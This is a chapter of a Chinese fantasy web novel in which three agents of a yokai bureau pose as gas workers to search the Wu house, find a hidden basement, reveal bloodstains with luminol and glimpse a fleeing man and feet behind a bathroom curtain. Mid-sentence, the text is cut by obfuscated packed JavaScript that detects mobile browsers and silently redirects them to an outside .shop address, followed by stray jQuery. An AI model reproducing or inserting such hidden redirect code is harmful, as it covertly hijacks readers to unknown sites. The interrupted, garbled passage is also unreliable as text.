从吴家贫瘠的庭院被揪出来的符叶眉宇间满是不服,合伙骗他的赵玫瑰自从被揭穿,就憋憋屈屈窝在后座,只要对视,就朝他谄媚微笑。
再加上不知道从哪儿来,非要挤上车的胖狗,喻观寒直觉自己像刚表演完胸口碎大石,心口闷痛。
“赵玫瑰,有事情跟你说一下。”喻观寒将空调的温度降低,嘴角僵硬,“明天下午,你带一件赵子涵的衣服来找我,别去妖管局,直接去我家,我等会儿给你发地址。”
“啥衣服都行吗?”狗问。
喻观寒愣住,反复瞧几遍,才揉揉闷痛的眉心:“你们俩谁是赵玫瑰?”
“都是。”
“都是。”
一人一狗异口同声,随后,狗爪搭住胖手,明黄光芒中,狗像是一束被收回的光,与人形合二为一。
“只要带着赵子涵味道,不是衣服也行,越浓越好。”喻观寒再次叮嘱,“别去妖管局,直接去我家,记住了吗?”
几乎是赵玫瑰点头的下一瞬,他就笃定开口。
“你一定很着急回家。”
赵玫瑰瞧瞧窗外炙烤的热气,提起笑肌想说不急,就迎上喻观寒微眯的眼眸,显然是压不住火的模样,吵架的漩涡已然涌现。
独自生活的十年,他也稍微练就点察言观色的能力,赵玫瑰连忙开车门。只是临走前,他又怂怂地敲符叶这边的车窗,双膝并拢。
“姐,能把你衣服借我吗?”
狭小车厢只剩他们俩,冰冷的氛围与窗外的艳阳天形成鲜明对比,冷风吹拂,喻观寒喉结滚动,努力抵抗心脏搏动间结起冰霜的心碎之感。
符叶只剩白色里衬,散落的几缕发丝软软垂在肩上。
素净脸颊像山巅无声的雪,寂静明洁,纤尘不染,无需靠近就能感受到彻骨寒凉。
虽然幽怨她与别人暗谋欺骗自己,但话未说出口,喻观寒已然落败,他无法指责符叶半个字——因为那颗澄澈透明的心。
如诗所说,心如皎月连天照,性似寒潭彻底清。[1]
晶莹剔透的心,是不会滋生出恶意的,她的处事原则是率性而为,这没什么不好,反倒是自己活在条条框框中太久,做事总是束手束脚。
思及此,他的神色软和几分:“你刚才没吃几口面,饿了吧,中午想吃什么?”
瞧她不答话,喻观寒舔舔嘴唇:“为什么这么着急?”
“没时间了。”许是这回答太笼统,符叶冷淡的眼眸又扫过来,认真瞧他,“赵子涵等不起,我也等不起,这件事情,你不想管我理解,但你别影响我,我一定要把这妖怪揪出来。”
“怀清路51号在大家的眼中,就是普通人类的家,这事儿需要谨慎对待,我说过吧?”
“你知道吴家有监控吗?”
瞧符叶怔住,表情凝固,他又连忙开解,已经将她跳进吴家院子的视频抹掉了,毫无痕迹不必担心。
“这样说,岂不是永远也没法进吴家查探?”
“还是有的,明天就可以,只是这事儿需要保密。”喻观寒将话题回到自己更关心的事情上,“中午吃鱼还是蟹?”
“什么办法?”
“这个季节的螃蟹还是很肥的,买几只蟹吃吧。”喻观寒答非所问。
*
目光描摹大理石地砖边线的第三千遍,会场终于传来计宋慷慨激昂的结束语,宣布“第九届妖怪相亲大会圆满成功”,震得符叶耳朵痛,她连忙探身瞧。
满地彩纸与彩带,棕色沙发散乱,狼藉一片。
与会者大多经由正门鱼贯而出,也有极少数向她的方向——通往后院铁门的走廊走来。
狭长走廊前段,放置着两米高的易拉宝,宣传妖管局“和谐并存”的理念。视角的原因,坐在这展板后的符叶被遮挡得严严实实,如果不经过展板,是不会看到她的。
随着距离接近,两个妖怪的声音越来越清晰。
“我送你点好东西怎么样?”
“什么好东西,吃的?”
“这你就肤浅了,喏,这叫佳期如梦。”
“干啥的?”
“你先收起来,我跟你说...”含着兴奋之意的话语在看见符叶时,立刻噎了回去。
两妖默不作声相携走出几步,就瞧见了通往后院的铁门,只是这铁门还带着人脸识别系统,非妖管局人员,无法打开门出入。
对视几秒,他们面露尴尬往回走,恰好与来找符叶的喻观寒打了个照面:“你们俩来这干什么?”
“我们以为这儿有厕所呢。”说着,两个妖怪的脚步加快。
“妖管局没有厕所,你们走出门,过天桥,马路对面有个麦当当。”
“哎哎。”
注视两个妖怪走远,喻观寒才递上奶油雪糕,介绍道:“来帮忙的人是你的同事,今天应该是第一次见,她姓席,也是事故处理科的。”
席姐的身量高挑,眉眼锐利,清爽短发垂在后颈,皮肤很白,也使人很难忽视她耳朵上层层叠叠的纯黑带子,目测至少有三层口罩。
“你车里有股狗味。”这是席姐上车后的第一句话。
知晓符叶是未来的同事,她也没什么亲近的意味,只是不冷不淡与她点头致意。随后拉开提来的旅行包,往外拽印着“临江和润燃气公司”字样的深灰工服,连拽三件。
最终,她在包的深处摸索出一个沙漏。
“我跟方程借了点小玩意,咱们只有十分钟,抓紧时间,主要是去地下室。”
开门后的吴晓雪茫然看向“改头换面”的符叶。
昨日爸爸打电话说,轮到怀清路做燃气管网更新改造,会有燃气公司的人上门查看厨房走管,她要是害怕,就找隔壁的婆婆陪同。
看见熟人符叶,她提起的心松弛些,也打消了叫人陪同的心思。
正要询问他们改造需不需要交钱,就见戴着层层黑口罩的女人手中,飘起浅紫色的沙漏。无风而动,好似有一道看不见的鱼线,拉扯着沙漏摇摇晃晃来到她的眼前。
吴晓雪眨眨眼,发现自己眼皮都是汗湿的,下一秒——沙漏陡然翻转。
她脚底一滑,跌进寒潭般的怀抱。
意识模糊之际,遥远的声音磁性又温和,提醒切监控。
她头顶那道带着白茶芳香的冰冷气息纳闷问道:“你在跟谁说话?”
“场外援助。”
他们想干什么,思维混沌的吴晓雪脑袋似千斤重,背轻柔贴到客厅的沙发时,她努努嘴,随即脸歪向沙发靠背,失去知觉。
席姐摘掉口罩,仔细对折后塞进裤兜,重申时限:“10分钟。”
白色二层洋房属于自建房,进门就是宽敞客厅,连接着半开放厨房,一目了然。
一层共有四个房间,分布左右走廊。
令席姐脸色难看的是,他们三个如热锅上的蚂蚁,跑来跑去,却没在走廊尽头见到通往地下室的门。
她疑惑嗅空气中的味道:“难道没有地下室?”
“肯定有。”符叶笃定开口,顺手推开眼前的桃木色木门。
这房间陈设简单,淡淡汗酸味扑面而来,应是许久没有空气流通。
茶几上还散落着碎烟头与啤酒罐,刺鼻的味道使席姐狂打喷嚏,眼睛都没空睁,符叶连忙将门合上。
席姐瞪圆眼睛,深深呼气,评价道:“生化武器。”
第二间房里的书籍排列整齐,只是许久没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143373|150197||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有人打理,书柜的柜格边满是灰尘,凝聚成灰黑色的软皮。
接下来的第三间堆满杂物。
到了第四间,符叶愕然收手,在门口站定并未往里迈。房间一目了然,只有一张红枣色的供奉台,塑料制成的假果盘后面,摆着一张灰白的遗像——脸型偏圆,眼珠乌黑无光,泛着死气沉沉。
正是曾倒挂在二楼窗口瞧她的女主人。
“等等!”席姐制止关门的符叶,她在其余两人的注视下,用脚步丈量卧室门到走廊尽头的距离,足足七步。
这下端倪尽现,往卧室里瞧,门距离室内的墙壁满打满算,也就五步。
“原来是藏在这。”
随着喻观寒的感慨,与墙壁漆成同色的门缓缓打开,露出背后黑漆漆的空间。卧室内的自然光仅能照亮几层向下的台阶,浓稠的黑暗幽静,泛着不常通风的霉味。
席姐立即部署:“我打头,符叶中间,喻观寒断后。”
向下延伸的楼梯狭窄,符叶能隐约听到喻观寒肩膀布料擦过墙壁的窸窣声,伴着她的血液鸣奏,为真相近在咫尺而欢呼雀跃。
此时视线微糊,黑纱后扬起一只手在墙壁边缘摸索,符叶及时驻足,才没踩到席姐的脚。
“啪——”
电流滋滋声汇聚,地下室的灯管闪闪烁烁,明灭摇晃。就在符叶被晃得眼球刺痛时,灯光终于站稳脚步,将地下室袒露于访客的眼前。
符叶的呼气颤抖。
只因地下室太空旷,水泥墙壁连装饰都无,像方方正正的砖块,深埋地底,她难掩失望:“看来被清理过。”
“唔...”席姐含糊不清地应答,踱步前行,边细嗅边思索,“虽然清理过,但血的痕迹不是那么好掩盖的。”
“我带了鲁米诺和激发剂溶液。”
长串的名称从喻观寒嘴里冒出来,符叶好奇望过去,他先是给懵懂的符叶预警会关灯,随后在昏暗的地下室打开手电筒。
“这儿吧,往这喷。”席姐指示。
地板似是被当做画纸,随着那不知名的溶液喷洒,荧荧蓝光描绘出蜿蜒的曲线。
随后大片大片的红梅绽开,如游鱼般,汇入波光粼粼的蓝色河流,绕着三人的脚边流动。
“这是...”符叶惶然。
席姐长叹:“这是溶液与血迹产生的反应,你看到的蓝色,都是血迹。”
*
回到一楼的途中,符叶安静至极,脚步经过遗照越来越慢。
“还有多久?”
“三分钟。”喻观寒抬手腕。
“我想去二楼瞧瞧。”
说罢,她提起裙摆,飞奔上二楼,两位队友只得无奈赶上。
没曾想,三人刚到二楼,就见戴着帽子的男人背影从二楼走廊尽头的窗边飞身而下,显然是被他们三个的脚步声惊吓,仓促间慌不择路跳窗。
“站住!”席姐大喝一声,向前追去。
“滴答——”
水滴砸到瓷砖,细微的声音却叫符叶心头一颤,她原计划奔向窗边的脚步暂缓,反而瞧向路过的浴室。
遮住浴缸的布帘正缓缓飘动。
她轻吞口水,握住门边倚着的拖把,在心脏不受控制的狂跳中,壮着胆子向前迈一步。
“谁在那?”
“滴答——”
作为轨道的铁管上锈迹斑斑,天花板凝出的水珠砸到地板,血色的水花荡漾。
柔软的布帘离地约巴掌长,此刻,那巴掌长的位置有一双脚。
满是伤痕,青紫斑驳,完全是皮包骨。很难想象那是属于鲜活人类的脚,会让人怀疑极细的腿骨能否带得动脚掌,更重要的是——脚趾正朝着她的方向。